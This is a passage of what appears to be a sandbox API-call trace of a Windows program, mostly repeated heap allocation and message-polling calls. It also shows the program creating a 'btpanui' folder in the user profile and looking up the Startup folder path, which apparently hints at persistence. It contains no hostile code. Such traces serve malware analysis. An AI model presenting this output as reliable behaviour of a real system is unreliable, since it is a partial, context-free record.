returned 0x1076910 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2880 [0168.665] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0168.666] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1528 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.666] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0168.666] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0168.666] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0168.667] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0168.667] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.667] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0168.667] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\btpanui" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui")) returned 0xffffffff [0168.668] GetLastError () returned 0x2 [0168.668] CreateDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\btpanui" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui"), lpSecurityAttributes=0x0) returned 1 [0168.672] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0168.672] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0168.672] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.672] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec550 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.673] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0168.674] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0168.674] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.675] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.676] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.677] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.678] SHGetFolderPathW (in: hwnd=0x0, csidl=7, hToken=0x0, dwFlags=0x0, pszPath=0xbdeee0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x0 [0168.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0168.681] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0168.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0168.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.682] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.682] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0168.683] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.683] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.683] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0168.683] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0168.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.720] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0168.720] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.720] HeapFree (in: 